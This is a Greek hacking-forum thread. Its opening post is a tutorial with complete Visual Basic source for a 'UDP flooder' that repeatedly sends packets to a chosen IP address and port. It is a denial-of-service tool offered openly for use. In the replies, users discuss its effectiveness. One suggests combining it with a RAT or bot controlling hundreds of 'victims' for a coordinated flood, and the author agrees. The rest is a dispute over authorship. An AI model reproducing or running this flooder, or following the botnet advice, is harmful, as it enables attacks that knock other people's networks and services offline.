[Visual Basic][GR]Πώς να κάνετε ένα δικό σας UDP Flooder

[Lucky Dice]

Λοιπόν σε αυτο το τοπικ θα σας δείξω πως μπορείτε να φτιάξετε ένα δικό σας UDP flooder.

 

Ανοίξτε το Visual Basic και κάντε Create new project.

 

Μετά θα χρειαστείτε 3 Βuttons (Start , Stop , Clean) , 2 Text Boxes (IP,Port) 1 list box , 1 timer καί 1 label ( Ονομάστε το status )

 

 

 

Kάντε διπλό click στο κουμπί start και θα κάνετε add αυτό.

Label1.ForeColor = Color.Lime
   Label1.Text = "Active!"
   Timer1.Start()

 

Τώρα θα κάνετε διπλό click στο κουμπί stop και θα κάνετε add αυτό.

Label1.ForeColor = Color.Red
   Label1.Text = "Stopped!"
   Timer1.Stop()

 

Το ίδιο και με το κουμπί clean

ListBox1.Items.Clear()
       Label1.ForeColor = Color.Blue
       Label1.Text = "Cleared"

 

Tώρα κάντε διπλό click στο timer και κάντε add αυτό.

Try

       ListBox1.Items.Add("DatPktS#" + Textbox1.Text + "#S")
       ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
       Dim udpClient As New UdpClient
       Dim GLOIP As IPAddress
       Dim bytCommand As Byte() = New Byte() {}
       GLOIP = IPAddress.Parse(Textbox1.Text)
       udpClient.Connect(GLOIP, Textbox2.Text)
       bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c ​​ 22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d4109 ​1​b970b1dcdba8b16c22fa1ab5e3d41091")
       udpClient.Send(bytCommand, bytCommand.Length)
       ListBox1.SelectedIndex += 1
   Catch ex As Exception
       Me.Close()
   End Try

 

Tο τελευτεό βήμα είναι να βάλετε αυτό στο επάνω μέρος του κώδικα.

Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics

 

Όλος ο κώδικας

Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics
Public Class Form1

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       Try
           
           ListBox1.Items.Add("DatPktS#" + TextBox1.Text + "#S")
           ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
           Dim udpClient As New UdpClient
           Dim GLOIP As IPAddress
           Dim bytCommand As Byte() = New Byte() {}
           GLOIP = IPAddress.Parse(TextBox1.Text)
           udpClient.Connect(GLOIP, TextBox2.Text)
           bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c ​​ 22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d4109 ​1​b970b1dcdba8b16c22fa1ab5e3d41091")
           udpClient.Send(bytCommand, bytCommand.Length)
           ListBox1.SelectedIndex += 1
       Catch ex As Exception
           Me.Close()
       End Try
   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       label2.forecolor = Color.Lime
       label2.text = "Active!"
       Timer1.Start()
   End Sub

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       label2.forecolor = Color.Red
       label2.text = "Stopped!"
       Timer1.Stop()
   End Sub

   Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
       ListBox1.Items.Clear()
   End Sub

 

 

 

Ευχαριστώ που διαβάσατε το tutorial μου και ελπίζω να σας άρεσε.

- Vorfin

 

 

 

 

[MixMasteR]

Δεν ξέρω τι να πω !

Σε ευχαριστώ!

[Lucky Dice]

Δεν ξέρω τι να πω !

Σε ευχαριστώ!

Τίποτα :)

[Nicolás™]

Δουλευει stadar?

 

Επισις φαινετε ι ip σου σωστα?

[Lucky Dice]

Δουλευει stadar?

 

Επισις φαινετε ι ip σου σωστα?

Ναι και στα 2 ερωτήματα.

[Hli4Snet]

Δουλευει stadar?

 

Επισις φαινετε ι ip σου σωστα?

 

 

apla min perimenis na riksis tipota apo tin syndesi sou.

sto mono pou 8a htan xrisimo kai 8a erixne kiolas einai ama kanis px diko sou rat h ena aplo bot

kai na exeis px 200-300 8imata kai estelnes ena mass command na kanoun ola ta vicims sou flood mazi.

[Lucky Dice]

 

apla min perimenis na riksis tipota apo tin syndesi sou.

sto mono pou 8a htan xrisimo kai 8a erixne kiolas einai ama kanis px diko sou rat h ena aplo bot

kai na exeis px 200-300 8imata kai estelnes ena mass command na kanoun ola ta vicims sou flood mazi.

Αυτό ακριβώς.

Δηλαδή μην περιμένετε να κάνετε και τίποτα με αυτό.

[Nicolás™]

αμα ειναι απο p.c με συνδεση ιντερνετ ανω τν 100mbit?

[Lucky Dice]

αμα ειναι απο p.c με συνδεση ιντερνετ ανω τν 100mbit?

κάτι θα κάνεις :P

[Hax0r]

UDP λέγεται.

Nice job, overall. ;)

[Lucky Dice]

UDP λέγεται.

Nice job, overall. ;)

 

Fixed Kai Efxaristo ;)

[Market1024]

GAMW TOUS LEECHERS MESA

 

TO EXETE SKISEI TO hf.

 

TO GUIDE EINAI TIS lil-wayneee.

[Lucky Dice]

GAMW TOUS LEECHERS MESA

 

TO EXETE SKISEI TO L33TS ORG

 

TO GUIDE EINAI TIS JULIE....

To guide eine diko mou.

thn julie dn thn kserw kan.

to guide to exw post kai se alla forums oxi wmos sto l33ts.

logika allos eine o leecher...

 

parakalw na sbisth auth h vlakeia.

thanks.

 

Edit : kai kati akoma.

       den eine parakseno ama to code eine idio giati den uparxoun kai polloi tropoi na kaneis to idio code me diaforetiko tropo.

ama me katalabeneis

[Market1024]

edited.

[Market1024]

edited